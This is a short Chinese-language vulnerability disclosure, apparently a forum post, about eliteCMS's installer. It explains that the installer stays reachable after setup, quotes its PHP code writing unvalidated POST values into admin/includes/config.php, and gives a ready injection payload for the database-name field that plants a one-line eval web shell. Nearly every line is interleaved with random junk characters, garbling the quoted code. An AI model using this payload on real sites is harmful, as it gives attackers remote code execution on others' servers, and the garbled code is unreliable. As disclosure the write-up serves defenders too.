eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
% R6 d q% F5 _2 y# m) s1 r! z
2 o R( f5 Y0 t" L0 I2 H+ A另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
$ D- D7 c$ I1 w4 f H我们来看代码:! ^" y9 ?3 i. X$ I% c
& ]: W3 A4 ]) p...2 s i9 k0 M |' l/ j4 P
elseif ($_GET['step'] == "4") {' _" e, K7 T/ b% G2 P5 d8 @8 t
$file = "../admin/includes/config.php";" x# G7 B' o, O* I$ [/ v
$write = "<?php\n";" {! b, I: t6 k& P& ^. E" w- t
$write .= "/**\n";
1 D% Z8 D, Y5 E! K( \' P0 |& g $write .= "*\n";$ O c. ^6 F8 M! e, l& P3 H$ l
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
- |0 a6 n( h9 z5 c; H...略... v8 { R( m9 C$ u5 n
$write .= "*\n";; ^* z3 t8 G. a. L% P
$write .= "*/\n"; O2 p( M0 y" Q' @1 |
$write .= "\n";/ m1 R E. a* p z
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";, |* H/ o# y7 B4 R5 Y5 ?: Y" Q- K7 w
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";! g ^! ?$ v8 f* B' r
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
2 F6 u; o4 g" u( n: W$ ? $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";% I2 u0 G# m" [ ]0 Q9 V
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";; f7 V6 H- H, H8 u7 r2 i) p5 n
$write .= "if (!\$connection) {\n";1 v S# }3 B; S, e' [& y1 h6 a6 x
$write .= " die(\"Database connection failed\" .mysql_error());\n";; D3 _) |# {* J2 F6 G0 s
$write .= " \n";; @! S: k7 B+ _. w: ]. i3 v
$write .= "} \n";
0 A1 B+ m) D- A3 U' |" l2 T& r4 W $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 F( P/ o6 D# g- ? $write .= "if (!\$db_select) {\n";9 R8 Q/ w& [8 `" y1 ]; ]
$write .= " die(\"Database select failed\" .mysql_error());\n";
! j( ^/ f( V {2 z% {7 b' ] $write .= " \n";
9 V8 S* D( h; S- x8 @! E $write .= "} \n";& E) ^5 t9 l$ H: @6 ~( n0 ?1 ?% A
$write .= "?>\n";; d; d7 m' h/ i+ `
5 d b& a1 l1 |: m $writer = fopen($file, 'w');1 B3 V% i& a) P( D1 V" D" a
...
3 M, G; h* _. r
: @6 k6 [3 b' G; G6 F" D在看代码:
- ^% _( M; M, P; H3 E3 ^4 n' D
) p) [/ X6 J0 Q" [3 o$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! Z C( K$ V" D. `- Z: G$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) ~$ I5 v& e3 G6 C4 P) Z( ~$_SESSION['DB_USER'] = $_POST['DB_USER'];, r; ^7 n+ X" B* P2 h; ~) C5 z( D
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];# N( ?) t) F0 y+ z( Y/ q" S9 t
5 X, _& ~, v S6 K. P# b* t5 l; d
取值未作任何验证% l2 A) P- F* v# y5 h d2 p) P
如果将数据库名POST数据:# }3 [+ m M; ], F7 j
0 D. q' ~2 {( {3 Z"?><?php eval($_POST[c]);?><?php9 Z1 o; h! ?2 Q( l0 ` U4 \) u
; ~5 V% `4 m; R5 D. T
将导致一句话后门写入/admin/includes/config.php
' g% Q8 d. u& ~ Q) Y+ o. I |